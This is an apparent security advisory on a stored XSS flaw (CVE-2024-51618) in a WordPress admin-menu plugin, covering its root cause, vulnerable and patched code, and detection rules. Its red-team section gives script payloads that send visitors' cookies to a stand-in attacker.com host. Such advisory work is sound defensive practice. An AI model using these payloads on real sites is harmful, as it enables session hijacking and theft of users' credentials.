CVE-2024-51618

Executive Summary

CVE-2024-51618 is a Stored Cross-Site Scripting (XSS) vulnerability in the DuoGeek Custom Admin Menu WordPress plugin, version 1.0.0 and earlier. This flaw allows an authenticated attacker with administrative privileges to inject arbitrary JavaScript into the WordPress admin panel. When a lower-privileged user (e.g., Editor, Author) or another admin visits the affected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or further privilege escalation.

The vulnerability resides in the improper neutralization of user-supplied input during web page generation. The plugin fails to sanitize or escape menu labels and URLs before storing them in the database and rendering them in the admin interface. Since the attacker must have admin-level access to exploit this, the CVSS score is 6.5 (Medium), but the impact can be severe in multi-tenant or shared admin environments.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the vendor has not issued a patch. Users should consider this a supply chain risk if they rely on the plugin for critical admin functionality.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires admin-level access.
• User Interaction (UI): Required (R) – Victim must visit the admin page.
• Scope (S): Changed (C) – Affects resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

CVSS Score: 6.5 (Medium)
Threat Level: Medium – Exploitation requires admin privileges, but the stored XSS can persist and affect multiple users.

Deep Dive & Mechanics

The Custom Admin Menu plugin allows administrators to create custom menu items in the WordPress admin dashboard. The vulnerability occurs because the plugin does not sanitize or escape the menu label and URL fields before storing them in the wp_options table (or similar) and rendering them in the admin menu HTML.

Attack Flow:

1. An attacker with admin privileges navigates to the plugin settings page.
2. The attacker enters a malicious payload in the "Menu Label" or "URL" field, e.g., <script>alert('XSS')</script>.
3. The plugin stores the unsanitized input in the database.
4. When any user (including other admins or lower-privileged users) loads the admin dashboard, the plugin retrieves the stored value and outputs it directly into the HTML without escaping.
5. The browser executes the injected script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses echo $menu_label; or similar direct output without applying WordPress escaping functions like esc_html() or esc_attr().

Vulnerable vs. Patched Code

Vulnerable Code (version 1.0.0):

// In custom-admin-menu.php
function render_custom_menu() {
    $menu_label = get_option('custom_menu_label');
    echo "<li><a href='#'>$menu_label</a></li>"; // No escaping
}

Patched Code (hypothetical):

function render_custom_menu() {
    $menu_label = get_option('custom_menu_label');
    echo "<li><a href='#'>" . esc_html($menu_label) . "</a></li>"; // Escaped
}

The patched version uses esc_html() to neutralize any HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Custom Admin Menu plugin v1.0.0.
• Admin credentials (e.g., admin:password).

Steps:

1. Log in as admin.
2. Navigate to Settings > Custom Admin Menu.
3. In the "Menu Label" field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the settings.
5. Any user visiting the admin dashboard will trigger the XSS, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Response)

Detection:

• Monitor for unusual admin panel activity, especially changes to plugin settings.
• Look for HTTP requests containing <script> tags in POST data to /wp-admin/options-general.php?page=custom-admin-menu.
• Use WAF rules to block XSS payloads in admin pages.

Response:

• Immediately disable the plugin if exploitation is suspected.
• Review admin logs for unauthorized changes.
• Rotate all admin session tokens and passwords.
• Restore from a clean backup if the site is compromised.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/custom-admin-menu/custom-admin-menu.php (version 1.0.0)
• Database Option: custom_menu_label containing <script> tags.
• Network: Outbound requests to attacker-controlled domains from admin dashboard.
• Logs: wp-admin/admin-ajax.php or options-general.php with suspicious POST data.

Detection Engineering

YARA Rule

rule CVE_2024_51618_Stored_XSS {
    meta:
        description = "Detects stored XSS payload in Custom Admin Menu plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51618"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_file = "custom-admin-menu.php"
    condition:
        $plugin_file and $xss_payload
}

Sigma Rule

title: Stored XSS in Custom Admin Menu Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payload in WordPress admin options
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        RequestMethod: POST
        RequestURL|contains: 'options-general.php?page=custom-admin-menu'
        RequestBody|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin using JavaScript in menu labels (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51618 Stored XSS in Custom Admin Menu"; flow:to_server,established; content:"POST"; http_method; content:"options-general.php?page=custom-admin-menu"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Remove any malicious menu entries from the wp_options table (option name custom_menu_label).
3. Audit admin accounts for unauthorized changes.

Long-term Fix:

• Replace the plugin with an alternative that properly escapes output.
• If custom development is required, ensure all user inputs are sanitized with sanitize_text_field() and escaped with esc_html() or esc_attr().

Workaround:

• Implement a Web Application Firewall (WAF) rule to block <script> tags in admin POST requests.
• Restrict admin access to trusted IPs only.

Valters IT signature: This report is generated for educational and defensive purposes. Unauthorized exploitation is illegal.